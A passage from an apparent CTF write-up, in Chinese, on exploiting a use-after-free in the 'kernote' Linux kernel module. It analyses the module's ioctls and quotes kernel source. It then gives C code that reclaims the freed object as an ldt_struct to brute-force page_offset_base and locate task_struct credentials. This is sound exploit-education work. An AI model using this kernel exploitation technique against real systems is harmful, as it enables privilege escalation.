地址空间，非堆栈空间，非 slab 分配的 object 空间的指针进行拷贝，会使得内核 panic</li><li><strong>STATIC_USERMODEHELPER</strong>，modprobe_path 只读</li></ol><p>run.sh</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/sh</span>qemu-system-x86_64 <span class="token punctuation">\</span>-m 128M <span class="token punctuation">\</span>-kernel ./bzImage <span class="token punctuation">\</span>-hda ./rootfs.img <span class="token punctuation">\</span>-append <span class="token string">"console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on"</span> <span class="token punctuation">\</span>-monitor /dev/null <span class="token punctuation">\</span>-smp <span class="token assign-left variable">cores</span><span class="token operator">=</span><span class="token number">2</span>,threads<span class="token operator">=</span><span class="token number">2</span> <span class="token punctuation">\</span>-nographic <span class="token punctuation">\</span>-cpu kvm64,+smep,+smap <span class="token punctuation">\</span>-no-reboot <span class="token punctuation">\</span>-snapshot <span class="token punctuation">\</span>-s<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>开启了 <strong>kaslr</strong>，<strong>kpti</strong></p><h3 id="逆向分析"><a href="#逆向分析" class="headerlink" title="逆向分析"></a>逆向分析</h3><p>漏洞模块 kernote.ko，只有一个 ioctl，且整个过程上自旋锁，根据 request（ioctl 第二个参数）进行不同的操作</p><h4 id="ADD"><a href="#ADD" class="headerlink" title="ADD"></a>ADD</h4><p>request = 0x6667，从 <code>kmalloc_caches[5]</code> 也就是 <code>kmalloc-32</code> 中分配一个 object，存储到全局 buf 数组里<br><img src="/images/5b4f46e3/pasted-0.png" alt="note add"></p><h4 id="DELETE"><a href="#DELETE" class="headerlink" title="DELETE"></a>DELETE</h4><p>request = 0x6668，释放指定 index 的 object，相关指针也置为了 NULL<br><img src="/images/5b4f46e3/pasted-1.png" alt="note delete"></p><h4 id="SELECT"><a href="#SELECT" class="headerlink" title="SELECT"></a>SELECT</h4><p>request = 0x6666，复制指定 index 的指针到全局变量 note 里<br><img src="/images/5b4f46e3/pasted-3.png" alt="note select"></p><h4 id="EDIT"><a href="#EDIT" class="headerlink" title="EDIT"></a>EDIT</h4><p>request = 0x6669，向 note 指针处写入 8 字节的 value<br><img src="/images/5b4f46e3/pasted-2.png" alt="note edit"></p><h4 id="SHOW"><a href="#SHOW" class="headerlink" title="SHOW"></a>SHOW</h4><p>request = 0x666A，打印 note 指针指向的 8 字节值，但是前面有一些判断，其实就是判断当前用户是否为 root，只有为 root  才能用，所以这个功能没有用<br><img src="/images/5b4f46e3/pasted-4.png" alt="note show"><br><img src="/images/5b4f46e3/pasted-5.png" alt="note show print"></p><hr><p>显然这里存在一个 UAF，<strong>SELECT</strong> 后再 <strong>DELETE</strong>，此时 object 已经被释放，但是 <strong>EDIT</strong> 操作使用的 note 指针仍指向被释放的 object</p><h2 id="利用分析"><a href="#利用分析" class="headerlink" title="利用分析"></a>利用分析</h2><p>可以 UAF 32 字节的 object，且只能写入前 8 字节的数据</p><p>首先可以想到的就是劫持 <strong>seq_operations</strong> 结构体的 start 指针，利用 <strong>pt_regs</strong> 结构体进行 ROP</p><h3 id="modify-ldt"><a href="#modify-ldt" class="headerlink" title="modify_ldt"></a>modify_ldt</h3><p>但是还需要泄露内核地址，参考官方题解，了解到 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/include/asm/mmu_context.h#L36"><code>ldt_struct</code></a> 这么一个结构体</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">/* * ldt_structs can be allocated, used, and freed, but they are never * modified while live. */</span><span class="token keyword">struct</span> <span class="token class-name">ldt_struct</span> <span class="token punctuation">&#123;</span><span class="token comment">/* * Xen requires page-aligned LDTs with special permissions.  This is * needed to prevent us from installing evil descriptors such as * call gates.  On native, we could merge the ldt_struct and LDT * allocations, but it's not worth trying to optimize. */</span><span class="token keyword">struct</span> <span class="token class-name">desc_struct</span><span class="token operator">*</span>entries<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>nr_entries<span class="token punctuation">;</span><span class="token comment">/* * If PTI is in use, then the entries array is not mapped while we're * in user mode.  The whole array will be aliased at the addressed * given by ldt_slot_va(slot).  We use two slots so that we can allocate * and map, and enable a new LDT without invalidating the mapping * of an older, still-in-use LDT. * * slot will be -1 if this LDT doesn't have an alias mapping. */</span><span class="token keyword">int</span>slot<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>大小为 32 字节，entries 指向 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/include/asm/desc_defs.h#L16"><code>desc_struct</code></a> 段描述符：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">/* 8 byte segment descriptor */</span><span class="token keyword">struct</span> <span class="token class-name">desc_struct</span> <span class="token punctuation">&#123;</span>u16limit0<span class="token punctuation">;</span>u16base0<span class="token punctuation">;</span>u16base1<span class="token operator">:</span> <span class="token number">8</span><span class="token punctuation">,</span> type<span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">,</span> s<span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> dpl<span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> p<span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">;</span>u16limit1<span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">,</span> avl<span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> l<span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> d<span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> g<span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> base2<span class="token operator">:</span> <span class="token number">8</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><del>不了解段描述符是什么东西的读者可以复习下操作系统课程</del></p><p>linux 还提供了一个系统调用<a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/kernel/ldt.c#L659"><code>modify_ldt</code></a>来修改 <code>ldt_struct</code>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">SYSCALL_DEFINE3</span><span class="token punctuation">(</span>modify_ldt<span class="token punctuation">,</span> <span class="token keyword">int</span> <span class="token punctuation">,</span> func <span class="token punctuation">,</span> <span class="token keyword">void</span> __user <span class="token operator">*</span> <span class="token punctuation">,</span> ptr <span class="token punctuation">,</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> <span class="token punctuation">,</span> bytecount<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">int</span> ret <span class="token operator">=</span> <span class="token operator">-</span>ENOSYS<span class="token punctuation">;</span><span class="token keyword">switch</span> <span class="token punctuation">(</span>func<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">case</span> <span class="token number">0</span><span class="token operator">:</span>ret <span class="token operator">=</span> <span class="token function">read_ldt</span><span class="token punctuation">(</span>ptr<span class="token punctuation">,</span> bytecount<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token keyword">case</span> <span class="token number">1</span><span class="token operator">:</span>ret <span class="token operator">=</span> <span class="token function">write_ldt</span><span class="token punctuation">(</span>ptr<span class="token punctuation">,</span> bytecount<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token keyword">case</span> <span class="token number">2</span><span class="token operator">:</span>ret <span class="token operator">=</span> <span class="token function">read_default_ldt</span><span class="token punctuation">(</span>ptr<span class="token punctuation">,</span> bytecount<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token keyword">case</span> <span class="token number">0x11</span><span class="token operator">:</span>ret <span class="token operator">=</span> <span class="token function">write_ldt</span><span class="token punctuation">(</span>ptr<span class="token punctuation">,</span> bytecount<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">/* * The SYSCALL_DEFINE() macros give us an 'unsigned long' * return type, but tht ABI for sys_modify_ldt() expects * 'int'.  This cast gives us an int-sized value in %rax * for the return code.  The 'unsigned' is necessary so * the compiler does not try to sign-extend the negative * return codes into the high half of the register when * taking the value from int->long. */</span><span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>ret<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>根据参数 func 来确定分别调用 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/kernel/ldt.c#L494"><code>read_ldt</code></a>，<a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/kernel/ldt.c#L570"><code>write_ldt</code></a> 等</p><p>ptr 是 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/include/uapi/asm/ldt.h#L21"><code>user_desc</code></a> 结构体的指针：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">user_desc</span> <span class="token punctuation">&#123;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  entry_number<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  base_addr<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  limit<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  seg_32bit<span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  contents<span class="token operator">:</span><span class="token number">2</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  read_exec_only<span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  limit_in_pages<span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  seg_not_present<span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  useable<span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifdef</span> <span class="token expression">__x86_64__</span></span><span class="token comment">/* * Because this bit is not present in 32-bit user code, user * programs can pass uninitialized values here.  Therefore, in * any context in which a user_desc comes from a 32-bit program, * the kernel must act as though lm == 0, regardless of the * actual value. */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span>  lm<span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="read-ldt"><a href="#read-ldt" class="headerlink" title="read_ldt"></a>read_ldt</h4><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">int</span> <span class="token function">read_ldt</span><span class="token punctuation">(</span><span class="token keyword">void</span> __user <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> bytecount<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token class-name">mm_struct</span> <span class="token operator">*</span>mm <span class="token operator">=</span> current<span class="token operator">-></span>mm<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> entries_size<span class="token punctuation">;</span><span class="token keyword">int</span> retval<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    entries_size <span class="token operator">=</span> mm<span class="token operator">-></span>context<span class="token punctuation">.</span>ldt<span class="token operator">-></span>nr_entries <span class="token operator">*</span> LDT_ENTRY_SIZE<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>entries_size <span class="token operator">></span> bytecount<span class="token punctuation">)</span>entries_size <span class="token operator">=</span> bytecount<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_to_user</span><span class="token punctuation">(</span>ptr<span class="token punctuation">,</span> mm<span class="token operator">-></span>context<span class="token punctuation">.</span>ldt<span class="token operator">-></span>entries<span class="token punctuation">,</span> entries_size<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>retval <span class="token operator">=</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span><span class="token keyword">goto</span> out_unlock<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>out_unlock<span class="token operator">:</span><span class="token function">up_read</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>mm<span class="token operator">-></span>context<span class="token punctuation">.</span>ldt_usr_sem<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> retval<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到使用 copy_to_user 从 entries 指针向用户空间拷贝数据</p><h4 id="write-ldt"><a href="#write-ldt" class="headerlink" title="write_ldt"></a>write_ldt</h4><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">int</span> <span class="token function">write_ldt</span><span class="token punctuation">(</span><span class="token keyword">void</span> __user <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> bytecount<span class="token punctuation">,</span> <span class="token keyword">int</span> oldmode<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token class-name">mm_struct</span> <span class="token operator">*</span>mm <span class="token operator">=</span> current<span class="token operator">-></span>mm<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">ldt_struct</span> <span class="token operator">*</span>new_ldt<span class="token punctuation">,</span> <span class="token operator">*</span>old_ldt<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> old_nr_entries<span class="token punctuation">,</span> new_nr_entries<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">user_desc</span> ldt_info<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">desc_struct</span> ldt<span class="token punctuation">;</span><span class="token keyword">int</span> error<span class="token punctuation">;</span>error <span class="token operator">=</span> <span class="token operator">-</span>EINVAL<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>bytecount <span class="token operator">!=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>ldt_info<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">goto</span> out<span class="token punctuation">;</span>error <span class="token operator">=</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_from_user</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>ldt_info<span class="token punctuation">,</span> ptr<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>ldt_info<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">goto</span> out<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>oldmode <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>ldt_info<span class="token punctuation">.</span>base_addr <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>ldt_info<span class="token punctuation">.</span>limit<span class="token punctuation">)</span> <span class="token operator">||</span>    <span class="token function">LDT_empty</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>ldt_info<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">/* The user wants to clear the entry. */</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>ldt<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>ldt<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ldt_info<span class="token punctuation">.</span>seg_32bit <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token function">allow_16bit_segments</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>error <span class="token operator">=</span> <span class="token operator">-</span>EINVAL<span class="token punctuation">;</span><span class="token keyword">goto</span> out<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">fill_ldt</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>ldt<span class="token punctuation">,</span> <span class="token operator">&amp;</span>ldt_info<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>oldmode<span class="token punctuation">)</span>ldt<span class="token punctuation">.</span>avl <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>old_ldt       <span class="token operator">=</span> mm<span class="token operator">-></span>context<span class="token punctuation">.</span>ldt<span class="token punctuation">;</span>old_nr_entries <span class="token operator">=</span> old_ldt <span class="token operator">?</span> old_ldt<span class="token operator">-></span>nr_entries <span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">;</span>new_nr_entries <span class="token operator">=</span> <span class="token function">max</span><span class="token punctuation">(</span>ldt_info<span class="token punctuation">.</span>entry_number <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> old_nr_entries<span class="token punctuation">)</span><span class="token punctuation">;</span>error <span class="token operator">=</span> <span class="token operator">-</span>ENOMEM<span class="token punctuation">;</span>new_ldt <span class="token operator">=</span> <span class="token function">alloc_ldt_struct</span><span class="token punctuation">(</span>new_nr_entries<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>new_ldt<span class="token punctuation">)</span><span class="token keyword">goto</span> out_unlock<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>old_ldt<span class="token punctuation">)</span><span class="token function">memcpy</span><span class="token punctuation">(</span>new_ldt<span class="token operator">-></span>entries<span class="token punctuation">,</span> old_ldt<span class="token operator">-></span>entries<span class="token punctuation">,</span> old_nr_entries <span class="token operator">*</span> LDT_ENTRY_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>new_ldt<span class="token operator">-></span>entries<span class="token punctuation">[</span>ldt_info<span class="token punctuation">.</span>entry_number<span class="token punctuation">]</span> <span class="token operator">=</span> ldt<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>write_ldt 使用 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/kernel/ldt.c#L149"><code>alloc_ldt_struct</code></a> 来分配 <code>ldt_struct</code>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">struct</span> <span class="token class-name">ldt_struct</span> <span class="token operator">*</span><span class="token function">alloc_ldt_struct</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> num_entries<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>new_ldt <span class="token operator">=</span> <span class="token function">kmalloc</span><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ldt_struct</span><span class="token punctuation">)</span><span class="token punctuation">,</span> GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">return</span> new_ldt<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h3 id="Leak"><a href="#Leak" class="headerlink" title="Leak"></a>Leak</h3><p>利用 modify_ldt 系统调用，不难想到一个 leak 内核地址的思路</p><ol><li>ADD -&gt; SELECT -&gt; DELETE，构造 UAF</li><li>通过 write_ldt 分配到被释放的 object</li><li>EDIT 修改 entries 指针</li><li>read_ldt 即可读取数据</li></ol><p>由于 copy_to_user 访问无效的地址并不会造成内核 panic，只会返回非 0 值，最后导致 modify_ldt 返回 <code>-EFAULT</code>，我们可以直接爆破内核地址</p><p>但是因为开启了 <strong>HARDENED_USERCOPY</strong>，当 copy_to_user 拷贝源地址为内核 .text 地址会造成 panic，因此不能直接爆破内核地址</p><p>可以改而爆破 <code>direct mapping area</code>（线性映射区）的起始地址 <strong>page_offset_base</strong>，实际上大小为 1G，kmalloc 就是从这里分配内存，可以从这里搜索找到 task_struct 结构体，进一步泄露更多数据</p><h4 id="Bruteforce"><a href="#Bruteforce" class="headerlink" title="Bruteforce"></a>Bruteforce</h4><p>爆破 <strong>page_offset_base</strong> 模板：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">    <span class="token class-name">uint64_t</span> page_offset_base <span class="token operator">=</span> <span class="token number">0xffff888000000000uLL</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">struct</span> <span class="token class-name">user_desc</span> desc<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>desc<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>desc<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    desc<span class="token punctuation">.</span>base_addr<span class="token operator">=</span><span class="token number">0xff0000</span><span class="token punctuation">;</span>    desc<span class="token punctuation">.</span>entry_number<span class="token operator">=</span><span class="token number">0x8000</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_ADD<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_SELECT<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_DELETE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>desc<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>desc<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// new ldt_struct</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"searching page_offset_base..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_EDIT<span class="token punctuation">,</span> page_offset_base<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span><span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>tmp<span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            page_offset_base <span class="token operator">+=</span> <span class="token number">1</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span><span class="token punctuation">;</span>  <span class="token comment">// direct mapping size = 1G</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="Searching"><a href="#Searching" class="headerlink" title="Searching"></a>Searching</h4><p><a href="https://elixir.bootlin.com/linux/v5.11.9/source/include/linux/sched.h#L973"><code>task_struct</code></a>存在一些有用的字段：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">task_struct</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token comment">/* Process credentials: */</span><span class="token comment">/* Tracer's credentials at attach: */</span><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">cred</span> __rcu<span class="token operator">*</span>ptracer_cred<span class="token punctuation">;</span><span class="token comment">/* Objective and real subjective task credentials (COW): */</span><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">cred</span> __rcu<span class="token operator">*</span>real_cred<span class="token punctuation">;</span><span class="token comment">/* Effective (overridable) subjective task credentials (COW): */</span><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">cred</span> __rcu<span class="token operator">*</span>cred<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">char</span>comm<span class="token punctuation">[</span>TASK_COMM_LEN<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">struct</span> <span class="token class-name">files_struct</span><span class="token operator">*</span>files<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中 comm 为进程的名字，可以通过  <code>prctl(PR_SET_NAME, &quot;myname&quot;)</code> 来设置，通过该字段就能定位到 task_struct 的位置</p><p>task_struct 还存在一个 files 字段，记录了进程打开的文件信息，结构体为 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/include/linux/fdtable.h#L49"><code>files_struct</code></a>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">files_struct</span> <span class="token punctuation">&#123;</span>  <span class="token comment">/*   * read mostly part   */</span><span class="token class-name">atomic_t</span> count<span class="token punctuation">;</span>bool resize_in_progress<span class="token punctuation">;</span><span class="token class-name">wait_queue_head_t</span> resize_wait<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">fdtable</span> __rcu <span class="token operator">*</span>fdt<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">fdtable</span> fdtab<span class="token punctuation">;</span>  <span class="token comment">/*   * written part on a separate cache line in SMP   */</span><span class="token class-name">spinlock_t</span> file_lock ____cacheline_aligned_in_smp<span class="token 